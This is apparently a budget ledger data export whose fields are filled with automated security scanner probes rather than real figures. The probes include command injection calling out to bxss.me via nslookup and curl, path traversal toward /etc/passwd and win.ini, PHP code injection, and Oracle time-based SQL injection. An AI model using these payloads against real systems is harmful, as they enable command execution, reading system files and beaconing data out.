<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>`(nslookup -q=cname hitwrwpphiqqs41a87.bxss.me||curl hitwrwpphiqqs41a87.bxss.me)`</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup -q=cname hiteimvukfnhu04a27.bxss.me||curl hiteimvukfnhu04a27.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup -q=cname hitruzealtwtk95fd1.bxss.me||curl hitruzealtwtk95fd1.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitruzealtwtk95fd1.bxss.me||curl hitruzealtwtk95fd1.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;nslookup -q=cname hitgqtybcbdiua1c71.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitgqtybcbdiua1c71.bxss.me&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>$(nslookup -q=cname hitcswzufzrbf2e86b.bxss.me||curl hitcswzufzrbf2e86b.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(nslookup -q=cname hitlxrfojbepcddc28.bxss.me||curl hitlxrfojbepcddc28.bxss.me))</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>expr 9000641820 - 941912</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|echo maiqbx$()\ jydjqa\nz^xyu||a #' |echo maiqbx$()\ jydjqa\nz^xyu||a #|" |echo maiqbx$()\ jydjqa\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;echo yfjsot$()\ dnyxvi\nz^xyu||a #' &amp;echo yfjsot$()\ dnyxvi\nz^xyu||a #|" &amp;echo yfjsot$()\ dnyxvi\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;nslookup -q=cname hitfrnfveagvm05b40.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitfrnfveagvm05b40.bxss.me&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>http://bxss.me/t/fit.txt%3F.jpg</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>`(nslookup -q=cname hitieznffyxww770b1.bxss.me||curl hitieznffyxww770b1.bxss.me)`</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>file:///etc/passwd</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>../../../../../../../../../../../../../../windows/win.ini</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>../../../../../../../../../../../../../../etc/passwd</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../../../../../../../../../../../../../../windows/win.ini</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../../../../../../../../../../../../../../etc/passwd</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>echo isqmff$()\ vxgyxa\nz^xyu||a #' &amp;echo isqmff$()\ vxgyxa\nz^xyu||a #|" &amp;echo isqmff$()\ vxgyxa\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitrhkvbxvccpea9b6.bxss.me||curl${IFS}hitrhkvbxvccpea9b6.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitrhkvbxvccpea9b6.bxss.me||curl${IFS}hitrhkvbxvccpea9b6.bxss.me)&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;echo fsdfpf$()\ xlgbua\nz^xyu||a #' &amp;echo fsdfpf$()\ xlgbua\nz^xyu||a #|" &amp;echo fsdfpf$()\ xlgbua\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>file:///etc/passwd</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>echo vmonoq$()\ hijdwj\nz^xyu||a #' &amp;echo vmonoq$()\ hijdwj\nz^xyu||a #|" &amp;echo vmonoq$()\ hijdwj\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>../../../../../../../../../../../../../../windows/win.ini</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1����%2527%2522\'\"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>nyXeuNa4</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;nslookup -q=cname hitrjrdcjyjnn4e83d.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitrjrdcjyjnn4e83d.bxss.me&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>$(nslookup -q=cname hitnltvudixcn86421.bxss.me||curl hitnltvudixcn86421.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
